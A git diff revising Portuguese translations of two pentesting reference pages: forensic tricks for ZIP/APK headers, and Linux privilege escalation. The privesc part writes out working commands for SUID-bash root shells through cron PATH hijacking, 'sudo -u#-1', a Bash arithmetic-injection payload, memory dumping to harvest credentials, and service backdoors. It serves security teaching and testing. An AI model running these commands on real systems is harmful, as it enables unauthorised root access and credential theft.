diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index c70f3be4e..cdafd7817 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,27 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar zip files. Aqui estão algumas utilidades chave: +**Ferramentas de linha de comando** para gerenciar **zip files** são essenciais para diagnosticar, reparar e crackear zip files. Aqui estão algumas utilidades-chave: -- **`unzip`**: Revela por que um arquivo zip pode não ser descompactado. +- **`unzip`**: Revela por que um arquivo zip pode não descompactar. - **`zipdetails -v`**: Oferece análise detalhada dos campos do formato de arquivo zip. - **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-lo. - **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentam reparar arquivos zip corrompidos. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra por força bruta de senhas de zip, efetiva para senhas de até cerca de 7 caracteres. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra por força bruta de senhas de arquivos zip, eficaz para senhas de até cerca de 7 caracteres. -A [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões de arquivos zip. +A [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões dos arquivos zip. -É crucial notar que arquivos zip protegidos por senha **não criptografam nomes de arquivos nem tamanhos de arquivo**, uma falha de segurança não presente em arquivos RAR ou 7z, que criptografam essa informação. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **plaintext attack** se uma cópia não criptografada de um arquivo compactado estiver disponível. Esse ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo do HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada em [este paper acadêmico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse plaintext attack, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis. +É crucial observar que arquivos zip protegidos por senha **não criptografam nomes de arquivos ou tamanhos de arquivos** internamente, uma falha de segurança que não é compartilhada por arquivos RAR ou 7z, que criptografam essas informações. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **plaintext attack** se uma cópia não criptografada de um arquivo comprimido estiver disponível. Esse ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no artigo do [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e mais explicada neste [artigo acadêmico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse plaintext attack, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis. --- ## Truques anti-reversão em APKs usando cabeçalhos ZIP manipulados -Modern Android malware droppers usam metadados ZIP malformados para quebrar ferramentas estáticas (jadx/apktool/unzip) enquanto mantêm o APK instalável no dispositivo. Os truques mais comuns são: +Droppers modernos de malware Android usam metadados ZIP malformados para quebrar ferramentas estáticas (jadx/apktool/unzip) enquanto mantêm o APK instalável no dispositivo. Os truques mais comuns são: -- Criptografia falsa ajustando o bit 0 do ZIP General Purpose Bit Flag (GPBF) -- Abusar de Extra fields grandes/personalizados para confundir parsers -- Colisões de nomes de arquivo/diretório para esconder artefatos reais (ex.: um diretório chamado `classes.dex/` ao lado do real `classes.dex`) +- Criptografia falsa definindo o ZIP General Purpose Bit Flag (GPBF) bit 0 +- Abusar de campos Extra grandes/customizados para confundir parsers +- Colisões de nomes de arquivo/diretório para esconder artefatos reais (ex., um diretório chamado `classes.dex/` ao lado do real `classes.dex`) ### 1) Criptografia falsa (GPBF bit 0 set) sem criptografia real @@ -32,7 +32,7 @@ Sintomas: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` pede uma senha para arquivos principais do APK mesmo que um APK válido não possa ter `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` criptografados: +- `unzip` solicita uma senha para arquivos principais do APK mesmo que um APK válido não possa ter `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` criptografados: ```bash unzip sample.apk @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Heurística: Se um APK instala e executa no dispositivo, mas entradas principais aparecem "encrypted" para ferramentas, o GPBF foi adulterado. +Heurística: Se um APK instala e roda no dispositivo, mas entradas principais aparecem "criptografadas" para as ferramentas, o GPBF foi adulterado. -Corrija zerando o bit 0 do GPBF nas entradas de Local File Headers (LFH) e Central Directory (CD). Byte-patcher mínimo: +Corrija zerando o bit 0 do GPBF tanto nas Local File Headers (LFH) quanto nas entradas do Central Directory (CD). Byte-patcher mínimo: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,33 +94,33 @@ Uso: python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Você deve agora ver `General Purpose Flag 0000` nas entradas principais e as ferramentas irão parsear o APK novamente. +Você deve agora ver `General Purpose Flag 0000` nas entradas principais e as ferramentas vão parsear o APK novamente. -### 2) Large/custom Extra fields to break parsers +### 2) Campos Extra grandes/personalizados para quebrar parsers -Atacantes inserem campos Extra superdimensionados e IDs estranhos nos headers para enganar decompilers. No mundo real você pode ver marcadores personalizados (por exemplo, strings como `JADXBLOCK`) embutidos ali. +Atacantes enchem campos Extra superdimensionados e IDs estranhos nos headers para derrubar decompiladores. Na prática, você pode ver marcadores personalizados (por exemplo, strings como `JADXBLOCK`) embutidos ali. Inspeção: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -Exemplos observados: IDs desconhecidos como `0xCAFE` ("Java Executable") ou `0x414A` ("JA:") contendo payloads grandes. +Exemplos observados: IDs desconhecidos como `0xCAFE` ("Executável Java") ou `0x414A` ("JA:") carregando grandes payloads. Heurísticas DFIR: -- Disparar alerta quando Extra fields estiverem incomumente grandes nas entradas principais (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). -- Tratar Extra IDs desconhecidos nessas entradas como suspeitos. +- Alertar quando os campos Extra estiverem incomumente grandes nas entradas principais (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). +- Tratar IDs Extra desconhecidos nessas entradas como suspeitos. -Mitigação prática: reconstruir o arquivo (por exemplo, recompactando os arquivos extraídos) remove os Extra fields maliciosos. Se ferramentas se recusarem a extrair devido a criptografia falsa, primeiro limpe o GPBF bit 0 como acima, então reempacote: +Mitigação prática: reconstruir o arquivo (por exemplo, recompactando os arquivos extraídos) remove os campos Extra maliciosos. Se as ferramentas se recusarem a extrair devido a criptografia falsa, primeiro limpe o bit 0 do GPBF como acima, então reempacote: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) Colisões de nomes de arquivo/diretório (ocultando artefatos reais) +### 3) Colisões de nomes de arquivo/diretório (escondendo artefatos reais) -Um ZIP pode conter tanto um arquivo `X` quanto um diretório `X/`. Alguns extratores e decompiladores ficam confusos e podem sobrepor ou esconder o arquivo real com uma entrada de diretório. Isso foi observado com entradas colidindo com nomes centrais de APK como `classes.dex`. +Um ZIP pode conter tanto um arquivo `X` quanto um diretório `X/`. Alguns extractors e decompilers ficam confusos e podem sobrepor ou ocultar o arquivo real com uma entrada de diretório. Isso foi observado com entradas colidindo com nomes principais de APK como `classes.dex`. -Triagem e extração segura: +Triage e extração segura: ```bash # List potential collisions (names that differ only by trailing slash) zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d @@ -148,10 +148,10 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Blue-team detection ideas: -- Sinalizar APKs cujos cabeçalhos locais marcam criptografia (GPBF bit 0 = 1) yet install/run. -- Sinalizar large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`). -- Sinalizar path-collisions (`X` and `X/`) specifically para `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. +Ideias de detecção para Blue-team: +- Marcar APKs cujos cabeçalhos locais indicam criptografia (GPBF bit 0 = 1) mas ainda assim instalam/executam. +- Marcar Extra fields grandes/desconhecidos em core entries (procure por marcadores como `JADXBLOCK`). +- Marcar colisões de caminho (`X` e `X/`) especificamente para `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index b8276a823..6920c3a3d 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,17 +4,17 @@ ## Informações do Sistema -### Info do OS +### Informações do SO -Vamos começar a obter informações sobre o OS em execução +Vamos começar a obter informações sobre o sistema operacional em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Se você **tem permissões de escrita em qualquer diretório dentro da variável `PATH`**, pode conseguir sequestrar algumas bibliotecas ou binários: +Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de hijack algumas bibliotecas ou binários: ```bash echo $PATH ``` @@ -26,7 +26,7 @@ Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ``` ### Kernel exploits -Verifique a versão do kernel e se há algum exploit que possa ser usado para escalate privileges +Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios ```bash cat /proc/version uname -a @@ -39,13 +39,13 @@ Para extrair todas as versões de kernel vulneráveis desse site você pode faze ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar kernel exploits são: +Ferramentas que podem ajudar a procurar por kernel exploits são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (executar no victim, apenas verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a kernel version no Google**, talvez sua kernel version esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -59,23 +59,23 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Versão do Sudo -Com base nas versões vulneráveis do Sudo que aparecem em: +Com base nas versões do sudo vulneráveis que aparecem em: ```bash searchsploit sudo ``` -Você pode verificar se a versão do sudo está vulnerável usando este grep. +Você pode verificar se a versão do sudo é vulnerável usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -Por @sickrov +De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verificação da assinatura falhou +### Dmesg: falha na verificação da assinatura -Veja **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada +Confira **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container, pode tentar escapar dele: +Se você está dentro de um contêiner docker, pode tentar escapar dele: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Unidades -Verifique **o que está montado e desmontado**, onde e por que. Se algo estiver desmontado, você pode tentar montá-lo e verificar se há informações privadas +Verifique **o que está montado e o que não está montado**, onde e por quê. Se algo não estiver montado, você pode tentar montá-lo e verificar informações privadas. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,11 +141,11 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumerar binários úteis +Enumere binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Verifique também se **qualquer compiler está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compile it na máquina onde você vai usá‑lo (ou em uma semelhante). +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -157,44 +157,44 @@ Recomenda-se verificar manualmente a versão dos softwares instalados mais suspe dpkg -l #Debian rpm -qa #Centos ``` -Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. +Se você tem acesso SSH à máquina, você também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que estes comandos exibirão muitas informações que na maior parte serão inúteis, portanto é recomendado usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que esses comandos vão mostrar muita informação que na maior parte será inútil, portanto recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ ## Processos -Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) +Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado como root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Sempre verifique se há [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` na linha de comando do processo.\ +Também **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. -### Process monitoring +### Monitoramento de processos Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido. -### Process memory +### Memória do processo -Alguns serviços de um servidor salvam **credenciais em texto claro na memória**.\ -Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários; portanto isso costuma ser mais útil quando você já é root e quer descobrir mais credenciais.\ -No entanto, lembre-se de que **como um usuário regular você pode ler a memória dos processos que possui**. +Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ +Normalmente você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto isso costuma ser mais útil quando você já é root e quer descobrir mais credenciais.\ +No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que você possui**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Observe que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode fazer dump de outros processos que pertençam ao seu usuário sem privilégios. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. +> - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. +> - **kernel.yama.ptrace_scope = 2**: Apenas admin pode usar ptrace, já que requer a capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar ptracing novamente. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo) você pode obter a Heap e procurar dentro dela por credenciais. +Se você tiver acesso à memória de um serviço FTP (por exemplo) você pode obter o Heap e procurar nele por credenciais. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um determinado ID do processo, **maps** mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo; também mostra as **permissões de cada região mapeada**. O arquivo pseudo **mem** **exibe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. +Para um determinado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereços virtual desse processo**; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek no arquivo mem e dumpar todas as regiões legíveis** em um arquivo. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Tipicamente, `/dev/mem` é apenas legível por **root** e pelo grupo **kmem**. +Tipicamente, `/dev/mem` é legível apenas por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump para Linux -ProcDump é uma reimaginação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma versão para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Disponível em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,13 +267,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -Para fazer o dump da memória de um processo, você pode usar: +Para fazer dump da memória de um processo você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e dumpar o processo que lhe pertence -- Script A.5 do [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer dump do processo que pertence a você +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) -### Credenciais da Memória do Processo +### Credenciais da memória do processo #### Exemplo manual @@ -282,25 +282,25 @@ Se você encontrar que o processo authenticator está em execução: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credentials dentro da memória: +Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credenciais dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto claro da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto simples da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. | Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Conexões FTP ativas) | vsftpd | -| Apache2 (Sessões HTTP Basic Auth ativas) | apache2 | -| OpenSSH (Sessões SSH ativas - Uso de sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Regexes de busca/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regexes de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,36 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tarefas agendadas/Cron jobs +## Tarefas Agendadas/Cron jobs -Verifique se alguma tarefa agendada está vulnerável. Talvez você possa tirar proveito de um script executado pelo root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). +Verifique se alguma tarefa agendada está vulnerável. Talvez você possa aproveitar um script executado por root (wildcard vuln? é possível modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Caminho do Cron Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Se dentro desse crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron usando um script com um wildcard (Wildcard Injection) -Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para provocar comportamentos inesperados (como privesc). Exemplo: +Se um script é executado pelo root e tem um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (nem** _**./\***_ **é).** +**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (nem mesmo** _**./\***_ **é).** -Leia a página a seguir para mais truques de exploração de wildcard: +Leia a seguinte página para mais wildcard exploitation tricks: {{#ref}} @@ -353,11 +353,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash executa parameter expansion e command substitution antes da arithmetic evaluation em ((...)), $((...)) e let. Se um root cron/parser lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar um command substitution $(...) que é executado como root quando o cron roda. +Bash executa parameter expansion e command substitution antes da avaliação aritmética em ((...)), $((...)) e let. Se um cron/parser rodando como root lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. -- Por que funciona: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, depois word splitting e pathname expansion. Então um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), então o `0` numérico restante é usado na aritmética e o script continua sem erros. +- Why it works: No Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, então word splitting e pathname expansion. Portanto um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), depois o restante numérico `0` é usado na aritmética para que o script continue sem erros. -- Padrão tipicamente vulnerável: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploração: Faça com que texto controlado pelo atacante seja escrito no log parseado de modo que o campo que parece numérico contenha um command substitution e termine com um dígito. Garanta que seu comando não escreva em stdout (ou redirecione) para que a aritmética permaneça válida. +- Exploitation: Faça com que texto controlado pelo atacante seja escrito no log analisado de modo que o campo com aparência numérica contenha uma command substitution e termine com um dígito. Certifique-se de que seu comando não escreva em stdout (ou redirecione) para que a aritmética permaneça válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se você **puder modificar um cron script** executado por root, pode obter um shell muito facilmente: +Se você **puder modificar um cron script** executado como root, você pode conseguir um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado por root usa um **diretório onde você tem acesso total**, pode ser útil apagar essa pasta e **criar um symlink para outra** que sirva um script controlado por você +Se o script executado por root usa um **directory onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar uma pasta symlink apontando para outra** que sirva um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar vantagem disso e escalate privileges. +Você pode monitorar os processos para procurar processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalate privileges. -Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram mais executados, você pode fazer: +Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso vai monitorar e listar todo processo que iniciar). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todo processo que iniciar). ### Cron jobs invisíveis -É possível criar um cronjob **inserindo um carriage return após um comentário** (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): +É possível criar um cronjob **inserindo um carriage return após um comentário** (sem caractere de nova linha), e o cron job funcionará. Exemplo (note o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,32 +406,32 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode escrever algum arquivo `.service`. Se puder, você **pode modificá-lo** para que **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ +Verifique se você pode gravar qualquer arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário esperar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço graváveis -Tenha em mente que, se você tiver **permissão de escrita sobre binários executados por serviços**, pode alterá-los para incluir backdoors, de modo que, quando os serviços forem reexecutados, os backdoors serão executados. +Tenha em mente que se você tiver **permissões de escrita sobre binários executados por serviços**, você pode modificá-los para inserir backdoors de modo que, quando os serviços forem reexecutados, os backdoors sejam executados. -### systemd PATH - Caminhos relativos +### systemd PATH - Caminhos Relativos Você pode ver o PATH 